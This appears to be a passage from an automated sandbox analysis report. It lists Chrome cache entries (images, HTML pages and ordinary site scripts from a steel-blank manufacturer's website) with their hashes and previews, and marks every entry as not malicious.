SHA-512:	BB0C3FFA4201A35B4A95D85D88911B60E92A716B49D49A5DCC57AB060E5508827BFADE9BD55C3B95144DD965B71317BAC676EC22AA58708E8AE3D38454350023
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98" xmpMM:DocumentID="xmp.did:5219833B58CB11E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:5219833A58CB11E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6e70b245-073f-4138-bd2f-40bd88a30a98" stRef:documentID="xmp.did:6e70b245-073f-4138-bd2f-40bd88a30a98"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	66912
Entropy (8bit):	7.81392970439184
Encrypted:	false
SSDEEP:	1536:xHtYSX61EgAW/f4bLcMVu5BL4I1gV6zB+d:xHtYSq1QBbLcbD3gV6zAd
MD5:	1251662C500C700C3C4B0D24BB05A1BA
SHA1:	B51582D9FEF98759576CF0ECD5C7E9FB5B986FAA
SHA-256:	284B962989DBD71AFB2D55B7F04F50A1C5CB9BC7F2FBFF8B9A6F0E411403C3AB
SHA-512:	B1CAD8981C0AFD598553BFE4AFB130B1B1526A9ED5EF1E672474CF373C4CFD05318B40EFC5C233B23A191BD085D13A9F3D89200328213CE70B9C14B1478B0AA4
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:DA4242E8B64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:DA4242E9B64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C4BA49D3B64211E5960E89E0CB43E699" stRef:documentID="xmp.did:C4BA49D4B64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	2490
Entropy (8bit):	4.645901279512174
Encrypted:	false
SSDEEP:	48:Oj9UHi75vswjkpxKT6K+3fjlHfs43U7IEEqrR:OjOuvxjzTX+W+ql
MD5:	34AD8087298D9E52616B82491C27CF30
SHA1:	071F38E4B4DE03DF8E1A733053449F855B154FB1
SHA-256:	2FE0EF96DBD5A43DDC3DA3864F47C9512CFEB38A16B49507F021FA48648FF976
SHA-512:	923D3DDDF934C552F429DF2D2676138A7715AF18A119D77097ECBD55EBBCBA0A36E5F0F7066B553F97EEAAE8B248DC207D5F10B8EDBF1CA35FD83A7DD5CA18EE
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1
Preview:	(function ($) {. var SUCCESS_STATUS = "mail_sent";. var AJAX_ACTION = "getDownloadButton";. var SUPPORTED_VERSIONS = [4, 5];.. function warnVersion(version) {. console.warn(. "[CF7 GATED CONTENT]: This version of CF7 is not supported: " + version. );. }.. function parseVersions(detail) {. var version = detail.pluginVersion;. var versionParts = version.split(".").map(v => parseInt(v, 10));.. // Warn if we are in a non-supported version of CF7. if (!SUPPORTED_VERSIONS.includes(versionParts[0])) {. warnVersion(version);. }.. // Return version object. return {. string: version,. major: versionParts[0],. minor: versionParts[1],. patch: versionParts[2],. };. }.. function parseStatus(detail) {. var version = parseVersions(detail);.. switch (version.major) {. case 5:. return detail.apiResponse.status;.. case 4:. return detail.status;.. default:. return null;. }. }.. function parse

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	39338
Entropy (8bit):	7.736639700887297
Encrypted:	false
SSDEEP:	768:HBH39Qq7wdhWOBUxWJ/L0vpWyZCv7MfHcSfUjKTqVp39iU9OJSi:rn7wfWOC8wvCg/psjWqVp9iwi
MD5:	AA30AF9006FFD1201F5819AB25BF83B5
SHA1:	49EED23BAAAC56F37FDDAB0789923BE451F167F1
SHA-256:	78E4372394D25231AE61CC86759A01544778CB00D4C68427EF6EB04BD5EC8537
SHA-512:	2C9DC4E1E588597E3D51C12FAF2B89010C54C713D40694F31051D677B28CE6FC7919B15D9D8AEB4404D5A1E604349A759EEE603530E749AF6AD8CB8E3885A4F6
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E6282092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6281092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	downloaded
Size (bytes):	84677
Entropy (8bit):	7.9788427253073415
Encrypted:	false
SSDEEP:	1536:Xey08gI3fFbCHKdr57MaabF+U6mcy84KZ10fK1r6p8e80SjsU1QPRKdX3LHYQPNu:ur8L3fgK9Ctbl61Z1QVp8eDE14RY3Vu
MD5:	86A01815428F917794041A6334C0B4D0
SHA1:	7987868909C94A612354EAC2B152D3F553F5D7F3
SHA-256:	DAD6E292178BD6FBF0C5C3BF784F0A8282904690AA4AF911BC9B02649FAC0FCD
SHA-512:	1C5D586A325E8284ED4B33B94C445FB07C59C70B5E550ADC39EEEB27122B30316002A1F214787A0D6E2E688DD4E640F2E53B4BDD295FB4B3EA74BBD32E902EA6
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/material-optimization-hero.jpg
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:A896CEF058E411E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:A896CEEF58E411E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	39172
Entropy (8bit):	5.4082692585189465
Encrypted:	false
SSDEEP:	768:vHDNX0FZdapFciPTmmoKB1bwoPkde8xnIhW:vgapC8TmmoKB1bT8de8xnIhW
MD5:	AC8410A87E1432569586D7B514314C1E
SHA1:	95AF71B731FE36174AEBED4D2606D2AF3917D84F
SHA-256:	4D0DC4C78CE51F09159B97AB561154C7BC371B50CE57E02D0FBF80764EE53AB0
SHA-512:	42D1E66A48D88809F38293F39EAB1E33F4D099696A6141824E257679D6507F57493620566E923AAAE5440ECD1930F021F0698BC1A136A539C9940607922E0D9F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/products/tailor-welded-hotform-blanks/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	34894
Entropy (8bit):	5.42152047560409
Encrypted:	false
SSDEEP:	768:vJITX0FZdapFciPTmmo8B1bwokiz8xnIhW:JapC8Tmmo8B1bT9z8xnIhW
MD5:	BD1359606E15ABC9EAC2A76A6E88BBAD
SHA1:	0A669C22E45532AF77BE542FC1783C173E2720E9
SHA-256:	34FB00902D1913AD380C6F0F308397443FBE7CAF0C6D29D3E714C57625A00B52
SHA-512:	CD9B1037181009F5734A442148DA3DB97540FD0196A56238A6E49B0EF85CC32CE738A992FADD5957679FBB7A701F87F5CB787629A333C913CF0D7015DF87FF72
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/services/product-design/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	713
Entropy (8bit):	5.131535959724354
Encrypted:	false
SSDEEP:	12:tV/KYf3EWiLZYRskgObzpwg5TNEYRnWOhXQOFW5CQqcdEo0rLPr5PucdDsHK/TuJ:tVLf0OskWg7RhtG/qcdduT5PTdDSK/Tm
MD5:	0CAEB39CE5E148E7474E09EFE53F3D8E
SHA1:	4FAA82BCE1FB6E1618F4C7F8A7714DE908266537
SHA-256:	A8A63CCD6F3570596661AB4407204E94C8F5A219024B5C6078934F5ECB908C71
SHA-512:	064B1B11539CE39753E0FBAD54F74D801A61360102201BA695CC2F19298802F03B2969939A2B5696223FA5631E411601160644DCDEC54B4B9E4C05386876913A
Malicious:	false
Reputation:	low
Preview:	<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px". viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve">..<g id="Layer_2">...<path fill="#003366" d="M0,0h110.5l16,42.8L143.3,0H177l16.2,42.8L209.8,0h84.8c16.8,0,30.5,13.7,30.5,30.5S311.5,61,294.7,61h-56.6l11.3-28.6h39.8v-6.2h-43.5L232,60.9L86.6,61c-5.8-14.6-10.2-26-10.2-26.4h-8.2V61H28V34.7H0V0z"/>...<path fill="#CCCCCC" d="M112.2,125.3c0,0-13.4-33.6-23.8-59.8l141.8,0.1l-23.6,59.8h-27.4l-19.8-48l-17.8,48H112.2z M68.2,65.6H28v59.8h40.2V65.6zM289.2,98.2h-65.8l-10.7,27.1h81.6c16.5,0,29.9-13.4,29.9-29.9s-13.4-29.9-29.9-29.9l-58,0l-10.1,25.6h63V98.2z"/>..</g>.</svg>

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	19187
Entropy (8bit):	7.114667008952835
Encrypted:	false
SSDEEP:	384:ZmrXbWkAsY+APzPUrjfEABkP2QWdwLxpma3:CXbWkAr+czPOEAtQWoL
MD5:	C6F2F515DCB8BA4E2BC915EB77311D63
SHA1:	10BACEF7978A498A1325BBA3D6AF3E08576F4AFB
SHA-256:	F413E0243D574DFA9D9C4BBCC2853679EE47CF9A3FD58DD5829C793C7BF69AF2
SHA-512:	7AA7AB57CD6B50650930A981C5E4C9A196FDDA4D80BAC926AD322A64CC04E4D6011224B4B248344FEAAEBF1CA3B4128708F13E94FF767276D0B402C9F23AB144
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D60CCDE7092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:D60CCDE6092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	18643
Entropy (8bit):	7.157392279838183
Encrypted:	false
SSDEEP:	192:fOfGo+D/jHP1lJlnR6oXY10i1dKepK83gUmSz12J/YTgSGs1nOSm1iqEFjIzdYs2:xFnTJlxYKi1l3CS05xs1nXmo/MY3mB2
MD5:	1B2B86348AA261D2540558DAB1D121A5
SHA1:	69616850F9A3357C8413084B3BA242056CE2925C
SHA-256:	2F9F0924EE8DCC6D619A76D6DB91C18FF9EDD7C239A4D6B5624AF6BE8518A485
SHA-512:	DE154B5FEF59EED2DDE53220AA2EC822C2AE0ACD77C9B9226832D0A9FBC78D2B7594475CDEA3850444406E94EF160EEEB382D4D3974100421C483CEED145D364
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:D60CCDEF092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:D60CCDEE092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	dropped
Size (bytes):	84111
Entropy (8bit):	7.975469035829131
Encrypted:	false
SSDEEP:	1536:olNuUT0qvfH8oGBmjNtbXNqMmd2EQaB8PcIdcsZul4J1BS:olNuUT0ofJGmzwMIM68zdcs24/BS
MD5:	EA9D45ABB3605D0F031E9B65F4659B3A
SHA1:	DDE79AC9F327730D883E3B4B3F9E88817268228D
SHA-256:	4AC1E97F3AE591E902857D766F88D773B69FBF58E6037CF1BB7291994A63DEDE
SHA-512:	E88F241D7BA08EA496C7C4A9815FD8B387DE8DF6A1F756F05DCE316739218D577993D6DCE4492FB136C4ACE29C2AB77F958AA6B376A496E4FC8DFCC71CC697FB
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC765594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC764594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4d6a9d53-b437-43a8-b58c-d29938e7dba7" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	713
Entropy (8bit):	5.131535959724354
Encrypted:	false
SSDEEP:	12:tV/KYf3EWiLZYRskgObzpwg5TNEYRnWOhXQOFW5CQqcdEo0rLPr5PucdDsHK/TuJ:tVLf0OskWg7RhtG/qcdduT5PTdDSK/Tm
MD5:	0CAEB39CE5E148E7474E09EFE53F3D8E
SHA1:	4FAA82BCE1FB6E1618F4C7F8A7714DE908266537
SHA-256:	A8A63CCD6F3570596661AB4407204E94C8F5A219024B5C6078934F5ECB908C71
SHA-512:	064B1B11539CE39753E0FBAD54F74D801A61360102201BA695CC2F19298802F03B2969939A2B5696223FA5631E411601160644DCDEC54B4B9E4C05386876913A
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg
Preview:	<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px". viewBox="0 0 325.2 125.3" enable-background="new 0 0 325.2 125.3" xml:space="preserve">..<g id="Layer_2">...<path fill="#003366" d="M0,0h110.5l16,42.8L143.3,0H177l16.2,42.8L209.8,0h84.8c16.8,0,30.5,13.7,30.5,30.5S311.5,61,294.7,61h-56.6l11.3-28.6h39.8v-6.2h-43.5L232,60.9L86.6,61c-5.8-14.6-10.2-26-10.2-26.4h-8.2V61H28V34.7H0V0z"/>...<path fill="#CCCCCC" d="M112.2,125.3c0,0-13.4-33.6-23.8-59.8l141.8,0.1l-23.6,59.8h-27.4l-19.8-48l-17.8,48H112.2z M68.2,65.6H28v59.8h40.2V65.6zM289.2,98.2h-65.8l-10.7,27.1h81.6c16.5,0,29.9-13.4,29.9-29.9s-13.4-29.9-29.9-29.9l-58,0l-10.1,25.6h63V98.2z"/>..</g>.</svg>

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	751
Entropy (8bit):	5.031517683302082
Encrypted:	false
SSDEEP:	12:KYS84RtbfqS84fSvS84LKSQDbFwDRZgNUefpj3yditkvsXP0DRRFVorQZ2AlvsTn:KYt4Lfqt4f2t4Peh0RZgNUe93MitkvsL
MD5:	CAAADA24C36ED88A759BF4289B0C6BA8
SHA1:	53276B225E3AEE862666004696658819E0282895
SHA-256:	5A1A3A3F0EF52A304CDE50940EE607A2EBB008B76FA4CF49721B6E5CC07C350A
SHA-512:	2930CE811C96542497D048EB78ED9B13BCBDCD45408783736803A74CC813CFD7BF34D95F5138F257445D31B52D8C2062D87644217ECA143BFE7310530E8BEF0A
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115
Preview:	( function() {..var is_webkit = navigator.userAgent.toLowerCase().indexOf( 'webkit' ) > -1,.. is_opera = navigator.userAgent.toLowerCase().indexOf( 'opera' ) > -1,.. is_ie = navigator.userAgent.toLowerCase().indexOf( 'msie' ) > -1;...if ( ( is_webkit \|\| is_opera \|\| is_ie ) && document.getElementById && window.addEventListener ) {...window.addEventListener( 'hashchange', function() {....var id = location.hash.substring( 1 ),.....element;.....if ( ! ( /^[A-z0-9_-]+$/.test( id ) ) ) {.....return;....}.....element = document.getElementById( id );.....if ( element ) {.....if ( ! ( /^(?:a\|select\|input\|button\|textarea)$/i.test( element.tagName ) ) ) {......element.tabIndex = -1;.....}......element.focus();....}...}, false );..}.})();.

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 200 x 174, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13737
Entropy (8bit):	7.960474460615749
Encrypted:	false
SSDEEP:	192:whO7uLxFI5O2Sua8BTsEvuZyudkgCMELGumVMUlnSgiKc7JSRZuQTlqGuDEA2E50:WEl8T39X4Ku9I90tsTTPuLAkXkjiw
MD5:	F94512C8ED5C131E111BF5BA7D11C004
SHA1:	A0B4752C55D3730A131BB606F2977F92512DD7E9
SHA-256:	AD9288DE27871EF3089A9244459A1CE35AB7F333097B4D70219A2B5F9C57EB7D
SHA-512:	D1F68B9A403A7A9B8B3A6E4E5842F76B080F7ABBFA207B6530548C5699C90EEC64D4DC677AC462553AA3A267FE2D3F023E869428079A5A7F816AFF1B44810970
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/q1.png
Preview:	.PNG........IHDR.............s.B.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A86DB729439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:A86DB728439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CC 2015 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="EE4B07EDD9EDFC539B2469A8C4863032" stRef:documentID="EE4B07EDD9EDFC539B2469A8C4863032"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>9.....2)IDATx..]..\U.?...fS6..R.!...E"(H...D........*".E..b.P..A.&....Q .C.BB.i.B...y.;.....yo...wv...N.3...~.=.r........SO....

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (19040), with no line terminators
Category:	downloaded
Size (bytes):	21886
Entropy (8bit):	6.065358786332392
Encrypted:	false
SSDEEP:	384:Fmnq/xfICwb8KjPB4vD8Y9ulK5PT+QS05cthDyA/887BUBLJCScBwwqHAyp6/Eyy:PxfIuK9KDNs0r+QS0+yA/88m1QScJqvB
MD5:	F7C3B9AC13EEAA71A7B559A290E285CD
SHA1:	3CAA7B016108941CE110762AE85BD10E08EC9444
SHA-256:	4757F7F4E9C0B9187F72FF21600D009E79B7776ADF8AB2E2122F760EB769FE0A
SHA-512:	57D3B08BABFD19DE4E8D88DEE136E8B0130AE2CF455DA0CC0439E1CCCB07E40D4E9E5CBD9662149617733EF0F9136E48428C80F6E86C84ECCD3B690143703A13
Malicious:	false
Reputation:	low
URL:	https://browser-update.org/update.show.min.js
Preview:	"use strict";var $buo_show=function(){var op=window._buorgres;var bb=$bu_getBrowser();var burl=op.burl\|\|("http"+(/MSIE/i.test(navigator.userAgent)?"":"s")+"://browser-update.org/");if(!op.url)op.url=burl+((op.l&&(op.l+"/"))\|\|"")+"update-browser.html"+(op.test?"?force_outdated=true":"")+"#"+op.jsv+":"+op.pageurl;op.url_permanent_hide=op.url_permanent_hide\|\|(burl+"block-ignore-browser-update-warning.html");function busprintf(){var args=arguments;var data=args[0];for(var k=1;k<args.length;++k)data=data.replace(/%s/,args[k]);return data;}var t={},ta;t.en={'msg':'Your web browser ({brow_name}) is out of date.','msgmore':'Update your browser for more security, speed and the best experience on this site.','bupdate':'Update browser','bignore':'Ignore','remind':'You will be reminded in {days} days.','bnever':'Never show again','insecure':'Your web browser ({brow_name}) has a serious security vulnerability!'};t.ar={'msg':'..... ........ ..... .. ({brow_name}) ... .....

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32031)
Category:	dropped
Size (bytes):	48520
Entropy (8bit):	5.183615021095896
Encrypted:	false
